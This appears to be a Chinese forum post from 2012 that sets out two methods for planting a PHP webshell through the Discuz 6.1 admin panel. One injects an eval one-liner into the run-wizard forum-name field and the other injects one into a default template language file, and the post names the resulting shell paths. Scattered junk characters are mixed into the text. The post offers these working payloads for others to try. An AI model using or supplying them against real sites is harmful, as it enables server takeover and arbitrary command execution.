discuz6.1两种方法后台拿shell5 w9 {* x5 w; l( M( [8 ^
好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下
/ q1 y6 c# g. L- z1:, J8 \2 J- h1 I' _: u h
http://127.0.0.1/discuz/admincp. ... zard&frames=yes
# O; W2 p& @) ~8 V4 l, ~$ Jadmincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
; ^. `2 L: X8 L' i0 B<?php eval($_POST[cmd]);?>2 I/ V4 O' d- D6 C u
后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
6 U* r* @* Z7 e% [- Q$ w
5 y* p! N/ y; _+ r' `- ]0 U
/ L% d9 m5 w! \2 t" K o4 X2:后台模板管理--默认模板套系--详情
1 @; _* b# ~' rtemplates/default/actions.lang.php" `' h: \9 o4 A' e: A
jhackj\\');eval($_POST[cmd])?>;/// _* D1 y; {9 r
' {! j8 f h7 U/ w利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对